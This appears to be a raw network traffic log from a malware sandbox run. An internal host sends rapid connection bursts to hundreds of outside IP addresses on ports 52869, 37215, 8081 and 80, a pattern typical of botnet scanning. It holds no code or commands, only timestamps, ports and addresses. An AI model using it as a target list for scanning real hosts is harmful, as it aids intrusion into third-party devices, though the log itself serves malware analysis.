Jul 20, 2024 23:05:43.579351902 CEST	43695	52869	192.168.2.13	113.39.80.250
Jul 20, 2024 23:05:43.579351902 CEST	43695	52869	192.168.2.13	86.217.3.16
Jul 20, 2024 23:05:43.579351902 CEST	43695	52869	192.168.2.13	141.63.118.255
Jul 20, 2024 23:05:43.579351902 CEST	43695	52869	192.168.2.13	140.10.216.96
Jul 20, 2024 23:05:43.579513073 CEST	43695	52869	192.168.2.13	145.17.101.9
Jul 20, 2024 23:05:43.579513073 CEST	43695	52869	192.168.2.13	24.224.53.97
Jul 20, 2024 23:05:43.579513073 CEST	43695	52869	192.168.2.13	89.43.196.21
Jul 20, 2024 23:05:43.579513073 CEST	43695	52869	192.168.2.13	196.245.47.234
Jul 20, 2024 23:05:43.579513073 CEST	43695	52869	192.168.2.13	137.61.175.250
Jul 20, 2024 23:05:43.579513073 CEST	43695	52869	192.168.2.13	70.31.189.127
Jul 20, 2024 23:05:43.579514027 CEST	43695	52869	192.168.2.13	71.198.154.233
Jul 20, 2024 23:05:43.579514027 CEST	43695	52869	192.168.2.13	188.230.118.180
Jul 20, 2024 23:05:43.580014944 CEST	43695	52869	192.168.2.13	199.216.137.198
Jul 20, 2024 23:05:43.580014944 CEST	43695	52869	192.168.2.13	113.17.144.32
Jul 20, 2024 23:05:43.580014944 CEST	43695	52869	192.168.2.13	182.194.165.206
Jul 20, 2024 23:05:43.580014944 CEST	43695	52869	192.168.2.13	48.17.240.228
Jul 20, 2024 23:05:43.580014944 CEST	43695	52869	192.168.2.13	79.0.176.2
Jul 20, 2024 23:05:43.580015898 CEST	43695	52869	192.168.2.13	92.63.48.74
Jul 20, 2024 23:05:43.580015898 CEST	43695	52869	192.168.2.13	216.148.98.222
Jul 20, 2024 23:05:43.580015898 CEST	43695	52869	192.168.2.13	90.189.200.28
Jul 20, 2024 23:05:43.581351995 CEST	43695	52869	192.168.2.13	24.239.206.244
Jul 20, 2024 23:05:43.581351995 CEST	43695	52869	192.168.2.13	115.99.23.189
Jul 20, 2024 23:05:43.581351995 CEST	43695	52869	192.168.2.13	188.112.162.77
Jul 20, 2024 23:05:43.581352949 CEST	43695	52869	192.168.2.13	181.42.23.104
Jul 20, 2024 23:05:43.581352949 CEST	43695	52869	192.168.2.13	105.176.211.26
Jul 20, 2024 23:05:43.581352949 CEST	43695	52869	192.168.2.13	184.155.162.172
Jul 20, 2024 23:05:43.581352949 CEST	43695	52869	192.168.2.13	89.174.78.249
Jul 20, 2024 23:05:43.581352949 CEST	43695	52869	192.168.2.13	177.165.244.181
Jul 20, 2024 23:05:43.583122969 CEST	46406	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	156.27.174.77
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	24.84.240.76
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	176.92.217.131
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	186.1.24.84
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	178.108.156.172
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	160.223.182.244
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	198.160.250.5
Jul 20, 2024 23:05:43.583374023 CEST	43695	52869	192.168.2.13	119.245.14.75
Jul 20, 2024 23:05:43.584614992 CEST	59260	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:43.584614992 CEST	59114	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.584614992 CEST	59114	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.584614992 CEST	59114	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.584614992 CEST	45440	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:43.584614992 CEST	46284	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	156.201.132.229
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	5.107.20.80
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	196.181.213.250
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	74.71.196.120
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	87.188.41.115
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	102.104.217.130
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	122.30.75.5
Jul 20, 2024 23:05:43.586229086 CEST	43695	52869	192.168.2.13	13.188.240.48
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	193.88.243.103
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	149.65.136.119
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	9.197.30.135
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	17.8.7.164
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	83.246.121.116
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	125.151.119.214
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	114.244.204.144
Jul 20, 2024 23:05:43.586736917 CEST	43695	52869	192.168.2.13	60.71.107.49
Jul 20, 2024 23:05:43.588684082 CEST	43695	52869	192.168.2.13	17.182.100.77
Jul 20, 2024 23:05:43.588684082 CEST	43695	52869	192.168.2.13	78.12.214.178
Jul 20, 2024 23:05:43.588684082 CEST	43695	52869	192.168.2.13	195.7.114.67
Jul 20, 2024 23:05:43.588684082 CEST	43695	52869	192.168.2.13	89.253.216.119
Jul 20, 2024 23:05:43.588684082 CEST	43695	52869	192.168.2.13	82.224.180.19
Jul 20, 2024 23:05:43.588684082 CEST	43695	52869	192.168.2.13	61.183.255.120
Jul 20, 2024 23:05:43.588684082 CEST	43695	52869	192.168.2.13	92.162.75.205
Jul 20, 2024 23:05:43.588911057 CEST	37050	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:43.589803934 CEST	37484	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:43.589803934 CEST	57658	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	92.99.117.48
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	62.147.240.163
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	104.67.128.97
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	114.200.0.186
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	196.103.208.224
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	77.90.252.240
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	58.2.216.120
Jul 20, 2024 23:05:43.591557026 CEST	43695	52869	192.168.2.13	117.48.153.157
Jul 20, 2024 23:05:43.591564894 CEST	38284	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:43.591564894 CEST	51954	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	189.48.136.49
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	84.121.194.203
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	212.4.181.193
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	222.227.236.170
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	99.163.209.96
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	48.215.94.34
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	23.209.58.80
Jul 20, 2024 23:05:43.591950893 CEST	43695	52869	192.168.2.13	128.133.203.41
Jul 20, 2024 23:05:43.592132092 CEST	43695	52869	192.168.2.13	101.206.93.128
Jul 20, 2024 23:05:43.592132092 CEST	43695	52869	192.168.2.13	91.46.193.211
Jul 20, 2024 23:05:43.592132092 CEST	43695	52869	192.168.2.13	1.167.89.80
Jul 20, 2024 23:05:43.592475891 CEST	41374	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.592475891 CEST	52208	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.595838070 CEST	43695	52869	192.168.2.13	98.219.246.181
Jul 20, 2024 23:05:43.595838070 CEST	43695	52869	192.168.2.13	58.93.0.79
Jul 20, 2024 23:05:43.595838070 CEST	43695	52869	192.168.2.13	99.19.172.216
Jul 20, 2024 23:05:43.595838070 CEST	43695	52869	192.168.2.13	66.139.231.189
Jul 20, 2024 23:05:43.595838070 CEST	43695	52869	192.168.2.13	43.178.214.176
Jul 20, 2024 23:05:43.595839024 CEST	43695	52869	192.168.2.13	2.163.212.95
Jul 20, 2024 23:05:43.595839024 CEST	43695	52869	192.168.2.13	98.232.97.199
Jul 20, 2024 23:05:43.595839024 CEST	43695	52869	192.168.2.13	177.60.248.200
Jul 20, 2024 23:05:43.596534014 CEST	60698	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:43.596534014 CEST	44598	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:43.596534014 CEST	57834	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:43.596534014 CEST	48492	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:43.596596956 CEST	36072	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	68.118.249.231
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	85.245.51.1
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	41.108.184.86
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	119.69.52.112
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	135.228.125.98
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	65.20.186.148
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	179.95.149.154
Jul 20, 2024 23:05:43.596759081 CEST	43695	52869	192.168.2.13	117.188.79.138
Jul 20, 2024 23:05:43.598103046 CEST	56804	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:43.598103046 CEST	45734	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.598103046 CEST	35028	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:43.598103046 CEST	54132	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:43.598841906 CEST	45394	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.598841906 CEST	60284	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:43.598841906 CEST	37628	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	166.127.240.93
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	65.31.196.172
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	178.151.223.150
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	150.168.191.178
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	84.81.57.181
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	193.95.209.47
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	173.96.138.37
Jul 20, 2024 23:05:43.600446939 CEST	43695	52869	192.168.2.13	112.134.30.56
Jul 20, 2024 23:05:43.600506067 CEST	32992	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:43.600506067 CEST	45248	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:43.600506067 CEST	50082	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:43.600506067 CEST	52842	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:43.600506067 CEST	45212	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:43.600876093 CEST	8081	38060	129.234.53.71	192.168.2.13
Jul 20, 2024 23:05:43.600884914 CEST	50154	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:43.600884914 CEST	43090	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:43.600903988 CEST	8081	38322	129.234.53.71	192.168.2.13
Jul 20, 2024 23:05:43.600908995 CEST	37215	44719	197.218.198.120	192.168.2.13
Jul 20, 2024 23:05:43.600912094 CEST	8081	36642	100.189.148.44	192.168.2.13
Jul 20, 2024 23:05:43.600919008 CEST	37215	44719	197.17.54.113	192.168.2.13
Jul 20, 2024 23:05:43.600923061 CEST	80	54004	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:43.600925922 CEST	8081	50424	32.17.126.48	192.168.2.13
Jul 20, 2024 23:05:43.600927114 CEST	8081	50424	32.17.126.48	192.168.2.13
Jul 20, 2024 23:05:43.600928068 CEST	52869	43695	54.54.215.85	192.168.2.13
Jul 20, 2024 23:05:43.600929022 CEST	37215	44719	41.139.123.50	192.168.2.13
Jul 20, 2024 23:05:43.600931883 CEST	80	52590	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:43.600939989 CEST	8081	45274	115.217.160.85	192.168.2.13
Jul 20, 2024 23:05:43.600949049 CEST	37215	44719	157.44.153.97	192.168.2.13
Jul 20, 2024 23:05:43.600953102 CEST	8081	50834	36.176.160.146	192.168.2.13
Jul 20, 2024 23:05:43.600955009 CEST	80	35968	95.194.121.234	192.168.2.13
Jul 20, 2024 23:05:43.600956917 CEST	80	33900	95.89.249.69	192.168.2.13
Jul 20, 2024 23:05:43.600958109 CEST	80	54968	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:43.600970030 CEST	80	35932	95.86.136.151	192.168.2.13
Jul 20, 2024 23:05:43.600975037 CEST	52869	43695	36.180.172.129	192.168.2.13
Jul 20, 2024 23:05:43.600977898 CEST	52869	43695	131.82.186.16	192.168.2.13
Jul 20, 2024 23:05:43.600982904 CEST	8081	51096	36.176.160.146	192.168.2.13
Jul 20, 2024 23:05:43.600986958 CEST	37215	44719	197.64.154.239	192.168.2.13
Jul 20, 2024 23:05:43.600989103 CEST	8081	36072	93.210.42.24	192.168.2.13
Jul 20, 2024 23:05:43.600996017 CEST	52869	43695	124.62.99.179	192.168.2.13
Jul 20, 2024 23:05:43.601000071 CEST	37215	44719	111.65.179.96	192.168.2.13
Jul 20, 2024 23:05:43.601001024 CEST	80	39158	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:43.601001978 CEST	80	33886	95.198.148.102	192.168.2.13
Jul 20, 2024 23:05:43.601003885 CEST	37215	44719	41.166.4.73	192.168.2.13
Jul 20, 2024 23:05:43.601011038 CEST	43695	52869	192.168.2.13	54.54.215.85
Jul 20, 2024 23:05:43.601011992 CEST	37215	44719	197.244.78.99	192.168.2.13
Jul 20, 2024 23:05:43.601011038 CEST	52590	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:43.601013899 CEST	52869	43695	66.56.180.47	192.168.2.13
Jul 20, 2024 23:05:43.601025105 CEST	37215	44719	197.228.9.181	192.168.2.13
Jul 20, 2024 23:05:43.601026058 CEST	37215	44719	197.159.192.112	192.168.2.13
Jul 20, 2024 23:05:43.601027966 CEST	37215	44719	41.233.21.101	192.168.2.13
Jul 20, 2024 23:05:43.601028919 CEST	37215	44719	41.5.59.32	192.168.2.13
Jul 20, 2024 23:05:43.601031065 CEST	37215	44719	157.116.62.195	192.168.2.13
Jul 20, 2024 23:05:43.601036072 CEST	37215	44719	157.117.152.206	192.168.2.13
Jul 20, 2024 23:05:43.601041079 CEST	80	33324	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:43.601044893 CEST	37215	44719	41.195.213.199	192.168.2.13
Jul 20, 2024 23:05:43.601063013 CEST	37215	44719	105.176.207.17	192.168.2.13
Jul 20, 2024 23:05:43.601064920 CEST	37215	44719	192.124.50.61	192.168.2.13
Jul 20, 2024 23:05:43.601067066 CEST	52869	43695	39.125.186.30	192.168.2.13
Jul 20, 2024 23:05:43.601068974 CEST	37215	44719	41.211.96.69	192.168.2.13
Jul 20, 2024 23:05:43.601068020 CEST	35968	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:43.601068020 CEST	35932	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:43.601068020 CEST	43695	52869	192.168.2.13	36.180.172.129
Jul 20, 2024 23:05:43.601088047 CEST	52869	43695	121.40.224.141	192.168.2.13
Jul 20, 2024 23:05:43.601094961 CEST	80	37016	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:43.601095915 CEST	80	58718	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:43.601097107 CEST	37215	44719	197.219.0.80	192.168.2.13
Jul 20, 2024 23:05:43.601098061 CEST	52869	43695	49.95.69.134	192.168.2.13
Jul 20, 2024 23:05:43.601099968 CEST	80	34638	95.70.3.199	192.168.2.13
Jul 20, 2024 23:05:43.601113081 CEST	52869	43695	8.26.166.115	192.168.2.13
Jul 20, 2024 23:05:43.601114035 CEST	80	56544	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:43.601116896 CEST	80	43532	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:43.601119995 CEST	37215	44719	114.46.14.97	192.168.2.13
Jul 20, 2024 23:05:43.601125002 CEST	37215	44719	41.253.146.19	192.168.2.13
Jul 20, 2024 23:05:43.601125956 CEST	80	45774	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:43.601142883 CEST	80	59526	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:43.601146936 CEST	37215	44719	197.5.6.138	192.168.2.13
Jul 20, 2024 23:05:43.601152897 CEST	37215	44719	41.60.209.210	192.168.2.13
Jul 20, 2024 23:05:43.601154089 CEST	37215	44719	206.65.197.101	192.168.2.13
Jul 20, 2024 23:05:43.601156950 CEST	37215	44719	12.193.234.170	192.168.2.13
Jul 20, 2024 23:05:43.601159096 CEST	37215	44719	145.164.204.137	192.168.2.13
Jul 20, 2024 23:05:43.601160049 CEST	38322	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:43.601161957 CEST	37215	44719	32.90.4.32	192.168.2.13
Jul 20, 2024 23:05:43.601160049 CEST	44719	37215	192.168.2.13	197.218.198.120
Jul 20, 2024 23:05:43.601160049 CEST	44719	37215	192.168.2.13	41.139.123.50
Jul 20, 2024 23:05:43.601160049 CEST	44719	37215	192.168.2.13	197.17.54.113
Jul 20, 2024 23:05:43.601167917 CEST	80	33502	95.151.14.251	192.168.2.13
Jul 20, 2024 23:05:43.601171017 CEST	37215	44719	197.128.236.2	192.168.2.13
Jul 20, 2024 23:05:43.601177931 CEST	37215	44719	187.232.79.235	192.168.2.13
Jul 20, 2024 23:05:43.601180077 CEST	52869	43695	73.83.129.52	192.168.2.13
Jul 20, 2024 23:05:43.601182938 CEST	80	43100	95.50.4.30	192.168.2.13
Jul 20, 2024 23:05:43.601183891 CEST	80	56426	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:43.601186037 CEST	37215	44719	191.78.129.32	192.168.2.13
Jul 20, 2024 23:05:43.601186991 CEST	37215	44719	41.190.71.241	192.168.2.13
Jul 20, 2024 23:05:43.601192951 CEST	37215	44719	157.55.21.62	192.168.2.13
Jul 20, 2024 23:05:43.601193905 CEST	37215	44719	157.147.59.60	192.168.2.13
Jul 20, 2024 23:05:43.601196051 CEST	37215	44719	115.124.30.25	192.168.2.13
Jul 20, 2024 23:05:43.601197004 CEST	37215	44719	157.187.94.235	192.168.2.13
Jul 20, 2024 23:05:43.601200104 CEST	37215	44719	157.136.196.45	192.168.2.13
Jul 20, 2024 23:05:43.601207018 CEST	37215	44719	157.221.20.7	192.168.2.13
Jul 20, 2024 23:05:43.601208925 CEST	52869	43695	155.180.4.142	192.168.2.13
Jul 20, 2024 23:05:43.601212025 CEST	37215	44719	41.247.83.121	192.168.2.13
Jul 20, 2024 23:05:43.601213932 CEST	37215	44719	137.106.194.233	192.168.2.13
Jul 20, 2024 23:05:43.601222992 CEST	37215	44719	121.95.140.123	192.168.2.13
Jul 20, 2024 23:05:43.601227045 CEST	37215	44719	197.243.43.53	192.168.2.13
Jul 20, 2024 23:05:43.601232052 CEST	37215	44719	41.122.228.58	192.168.2.13
Jul 20, 2024 23:05:43.601237059 CEST	37215	44719	194.186.195.245	192.168.2.13
Jul 20, 2024 23:05:43.601238966 CEST	52869	43695	209.76.121.16	192.168.2.13
Jul 20, 2024 23:05:43.601244926 CEST	37215	44719	73.245.214.213	192.168.2.13
Jul 20, 2024 23:05:43.601246119 CEST	37215	44719	41.166.208.82	192.168.2.13
Jul 20, 2024 23:05:43.601247072 CEST	37215	44719	197.90.187.218	192.168.2.13
Jul 20, 2024 23:05:43.601253986 CEST	80	50968	95.114.134.52	192.168.2.13
Jul 20, 2024 23:05:43.601255894 CEST	37215	44719	196.191.7.200	192.168.2.13
Jul 20, 2024 23:05:43.601258039 CEST	37215	44719	41.134.249.120	192.168.2.13
Jul 20, 2024 23:05:43.601264954 CEST	37215	44719	41.23.223.104	192.168.2.13
Jul 20, 2024 23:05:43.601268053 CEST	37215	44719	174.50.31.231	192.168.2.13
Jul 20, 2024 23:05:43.601269007 CEST	52869	43695	103.1.126.231	192.168.2.13
Jul 20, 2024 23:05:43.601272106 CEST	37215	44719	83.121.211.25	192.168.2.13
Jul 20, 2024 23:05:43.601278067 CEST	37215	44719	197.169.205.203	192.168.2.13
Jul 20, 2024 23:05:43.601286888 CEST	37215	44719	197.151.5.99	192.168.2.13
Jul 20, 2024 23:05:43.601288080 CEST	52869	43695	221.37.81.113	192.168.2.13
Jul 20, 2024 23:05:43.601290941 CEST	44719	37215	192.168.2.13	111.65.179.96
Jul 20, 2024 23:05:43.601290941 CEST	44719	37215	192.168.2.13	41.5.59.32
Jul 20, 2024 23:05:43.601295948 CEST	37215	44719	39.102.197.30	192.168.2.13
Jul 20, 2024 23:05:43.601305962 CEST	52869	43695	171.175.125.48	192.168.2.13
Jul 20, 2024 23:05:43.601306915 CEST	37215	44719	157.19.102.202	192.168.2.13
Jul 20, 2024 23:05:43.601309061 CEST	37215	44719	41.166.221.172	192.168.2.13
Jul 20, 2024 23:05:43.601310015 CEST	37215	44719	197.248.18.125	192.168.2.13
Jul 20, 2024 23:05:43.601310968 CEST	37215	44719	89.97.7.223	192.168.2.13
Jul 20, 2024 23:05:43.601311922 CEST	37215	44719	157.168.102.178	192.168.2.13
Jul 20, 2024 23:05:43.601314068 CEST	37215	44719	52.192.132.102	192.168.2.13
Jul 20, 2024 23:05:43.601314068 CEST	37215	44719	41.199.184.127	192.168.2.13
Jul 20, 2024 23:05:43.601315975 CEST	37215	44719	41.189.155.19	192.168.2.13
Jul 20, 2024 23:05:43.601316929 CEST	37215	44719	157.120.68.241	192.168.2.13
Jul 20, 2024 23:05:43.601319075 CEST	52869	43695	142.17.9.107	192.168.2.13
Jul 20, 2024 23:05:43.601320028 CEST	37215	44719	197.204.86.68	192.168.2.13
Jul 20, 2024 23:05:43.601320028 CEST	37215	44719	197.248.203.139	192.168.2.13
Jul 20, 2024 23:05:43.601321936 CEST	37215	44719	197.164.234.103	192.168.2.13
Jul 20, 2024 23:05:43.601325989 CEST	37215	44719	157.27.189.109	192.168.2.13
Jul 20, 2024 23:05:43.601326942 CEST	37215	44719	41.58.87.142	192.168.2.13
Jul 20, 2024 23:05:43.601327896 CEST	37215	44719	197.234.141.118	192.168.2.13
Jul 20, 2024 23:05:43.601332903 CEST	37215	44719	41.128.226.57	192.168.2.13
Jul 20, 2024 23:05:43.601334095 CEST	52869	43695	159.113.67.133	192.168.2.13
Jul 20, 2024 23:05:43.601336956 CEST	37215	44719	157.77.35.15	192.168.2.13
Jul 20, 2024 23:05:43.601339102 CEST	37215	44719	197.172.54.205	192.168.2.13
Jul 20, 2024 23:05:43.601341009 CEST	37215	44719	41.173.78.130	192.168.2.13
Jul 20, 2024 23:05:43.601341963 CEST	37215	44719	157.16.82.82	192.168.2.13
Jul 20, 2024 23:05:43.601342916 CEST	37215	44719	41.113.181.100	192.168.2.13
Jul 20, 2024 23:05:43.601346970 CEST	37215	44719	41.35.231.73	192.168.2.13
Jul 20, 2024 23:05:43.601350069 CEST	37215	44719	44.171.241.23	192.168.2.13
Jul 20, 2024 23:05:43.601351976 CEST	37215	44719	213.65.11.119	192.168.2.13
Jul 20, 2024 23:05:43.601352930 CEST	37215	44719	27.97.182.214	192.168.2.13
Jul 20, 2024 23:05:43.601355076 CEST	37215	44719	197.99.191.32	192.168.2.13
Jul 20, 2024 23:05:43.601356030 CEST	37215	44719	197.18.238.74	192.168.2.13
Jul 20, 2024 23:05:43.601356983 CEST	37215	44719	45.172.31.176	192.168.2.13
Jul 20, 2024 23:05:43.601357937 CEST	37215	44719	157.231.8.243	192.168.2.13
Jul 20, 2024 23:05:43.601358891 CEST	37215	44719	197.153.119.252	192.168.2.13
Jul 20, 2024 23:05:43.601358891 CEST	37215	44719	197.212.97.34	192.168.2.13
Jul 20, 2024 23:05:43.601361036 CEST	37215	44719	157.66.96.178	192.168.2.13
Jul 20, 2024 23:05:43.601361990 CEST	52869	43695	44.60.208.210	192.168.2.13
Jul 20, 2024 23:05:43.601363897 CEST	37215	44719	41.84.213.46	192.168.2.13
Jul 20, 2024 23:05:43.601366043 CEST	37215	44719	108.64.120.4	192.168.2.13
Jul 20, 2024 23:05:43.601375103 CEST	37215	44719	41.172.40.25	192.168.2.13
Jul 20, 2024 23:05:43.601377010 CEST	37215	44719	186.219.109.51	192.168.2.13
Jul 20, 2024 23:05:43.601378918 CEST	37215	44719	41.156.184.169	192.168.2.13
Jul 20, 2024 23:05:43.601380110 CEST	37215	44719	166.105.157.19	192.168.2.13
Jul 20, 2024 23:05:43.601380110 CEST	37215	44719	157.205.60.158	192.168.2.13
Jul 20, 2024 23:05:43.601381063 CEST	37215	44719	41.15.253.221	192.168.2.13
Jul 20, 2024 23:05:43.601382017 CEST	37215	44719	157.189.127.218	192.168.2.13
Jul 20, 2024 23:05:43.601382971 CEST	37215	44719	197.38.187.35	192.168.2.13
Jul 20, 2024 23:05:43.601386070 CEST	37215	44719	37.234.99.161	192.168.2.13
Jul 20, 2024 23:05:43.601388931 CEST	37215	44719	157.2.151.90	192.168.2.13
Jul 20, 2024 23:05:43.601392031 CEST	37215	44719	157.107.248.38	192.168.2.13
Jul 20, 2024 23:05:43.601393938 CEST	37215	44719	41.153.74.23	192.168.2.13
Jul 20, 2024 23:05:43.601396084 CEST	37215	44719	136.107.92.11	192.168.2.13
Jul 20, 2024 23:05:43.601397038 CEST	37215	44719	92.36.25.236	192.168.2.13
Jul 20, 2024 23:05:43.601397991 CEST	37215	44719	41.198.164.117	192.168.2.13
Jul 20, 2024 23:05:43.601398945 CEST	37215	44719	157.19.78.216	192.168.2.13
Jul 20, 2024 23:05:43.601399899 CEST	37215	44719	197.64.13.247	192.168.2.13
Jul 20, 2024 23:05:43.601401091 CEST	37215	44719	41.199.11.194	192.168.2.13
Jul 20, 2024 23:05:43.601401091 CEST	37215	44719	157.76.12.119	192.168.2.13
Jul 20, 2024 23:05:43.601402044 CEST	37215	44719	88.11.232.255	192.168.2.13
Jul 20, 2024 23:05:43.601402998 CEST	52869	43695	116.152.21.19	192.168.2.13
Jul 20, 2024 23:05:43.601402998 CEST	37215	44719	41.135.182.144	192.168.2.13
Jul 20, 2024 23:05:43.601403952 CEST	52869	43695	79.205.6.73	192.168.2.13
Jul 20, 2024 23:05:43.601404905 CEST	37215	44719	111.53.163.147	192.168.2.13
Jul 20, 2024 23:05:43.601406097 CEST	37215	44719	157.163.226.171	192.168.2.13
Jul 20, 2024 23:05:43.601406097 CEST	52869	43695	69.105.43.224	192.168.2.13
Jul 20, 2024 23:05:43.601407051 CEST	52869	43695	144.242.91.152	192.168.2.13
Jul 20, 2024 23:05:43.601408005 CEST	37215	44719	174.151.10.205	192.168.2.13
Jul 20, 2024 23:05:43.601408005 CEST	37215	44719	83.44.65.68	192.168.2.13
Jul 20, 2024 23:05:43.601408958 CEST	52869	43695	91.7.71.144	192.168.2.13
Jul 20, 2024 23:05:43.601409912 CEST	52869	43695	201.57.227.248	192.168.2.13
Jul 20, 2024 23:05:43.601411104 CEST	37215	44719	197.68.9.108	192.168.2.13
Jul 20, 2024 23:05:43.601412058 CEST	52869	43695	171.51.95.169	192.168.2.13
Jul 20, 2024 23:05:43.601412058 CEST	37215	44719	186.151.11.189	192.168.2.13
Jul 20, 2024 23:05:43.601413012 CEST	37215	44719	197.230.219.248	192.168.2.13
Jul 20, 2024 23:05:43.601413965 CEST	37215	44719	41.160.82.18	192.168.2.13
Jul 20, 2024 23:05:43.601414919 CEST	52869	43695	45.140.34.131	192.168.2.13
Jul 20, 2024 23:05:43.601414919 CEST	37215	44719	41.147.253.36	192.168.2.13
Jul 20, 2024 23:05:43.601416111 CEST	52869	43695	88.180.193.189	192.168.2.13
Jul 20, 2024 23:05:43.601417065 CEST	37215	44719	41.251.158.242	192.168.2.13
Jul 20, 2024 23:05:43.601417065 CEST	52869	43695	132.202.135.105	192.168.2.13
Jul 20, 2024 23:05:43.601418018 CEST	52869	43695	89.229.96.227	192.168.2.13
Jul 20, 2024 23:05:43.601418972 CEST	37215	44719	157.198.201.237	192.168.2.13
Jul 20, 2024 23:05:43.601418972 CEST	37215	44719	157.55.96.77	192.168.2.13
Jul 20, 2024 23:05:43.601419926 CEST	37215	44719	41.169.74.163	192.168.2.13
